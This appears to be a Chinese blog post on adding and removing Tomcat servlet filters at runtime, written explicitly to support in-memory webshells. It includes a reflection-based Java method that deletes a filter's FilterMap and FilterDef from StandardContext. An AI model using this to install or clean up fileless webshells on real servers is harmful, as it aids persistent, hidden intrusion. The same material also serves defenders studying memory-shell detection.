最近工作需要在写tomcat内存马,使用的方法便是动态插入filter,有个需求就是插入之后还需要能控制将其删除,于是有了下文tomcat 运行时动态添加删除filter
动态添加filter
运行时动态添加filter
动态删除filter
每次访问某个页面都会创建一次filter,实际filter的创建是在org.apache.catalina.core.StandardWrapperValve#invoke中的ApplicationFilterFactory.createFilterChain
下断点跟入调试跟入ApplicationFilterFactory.createFilterChain
从context提取了FilterMaps数组,并且遍历添加到filterChain,最终生效
所以动态删除的话只要从FilterMaps中删除就可
ps.后来测试发现也需要从FilterDefs中删除,否则用servletContext.getFilterRegistration判断filter的话还是会返回存在
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| public static void dynamicRemoveFilter(String name,javax.servlet.http.HttpServletRequest request){ javax.servlet.ServletContext servletContext=request.getServletContext(); if (servletContext.getFilterRegistration(name) != null) {
try { java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext); java.lang.reflect.Method findFilterMapsMethod = standardContext.getClass().getMethod("findFilterMaps"); findFilterMapsMethod.setAccessible(true); Object[] FilterMaps = (Object[]) findFilterMapsMethod.invoke(standardContext); Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} } Object filtermap = null; for (int i = 0; i < FilterMaps.length; i++) { Object o = FilterMaps[i]; java.lang.reflect.Method getFilterNameMethod = ccc.getMethod("getFilterName"); getFilterNameMethod.setAccessible(true); if(getFilterNameMethod.invoke(FilterMaps[i]).equals(name)){ filtermap = FilterMaps[i]; } } java.lang.reflect.Method removeFilterMapMethod = standardContext.getClass().getMethod("removeFilterMap",ccc); removeFilterMapMethod.invoke(standardContext,ccc.cast(filtermap));
java.lang.reflect.Method findFilterDefMethod = standardContext.getClass().getMethod("findFilterDef",String.class); Object filterDef = findFilterDefMethod.invoke(standardContext,name); Class ddd = null; try { ddd = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); } catch (Throwable t){} if (ddd == null) { try { ddd = Class.forName("org.apache.catalina.deploy.FilterDef"); } catch (Throwable t){} } java.lang.reflect.Method removeFilterDefMethod = standardContext.getClass().getMethod("removeFilterDef",ddd); removeFilterDefMethod.invoke(standardContext,filterDef); }catch (Exception e){ ; } } }
|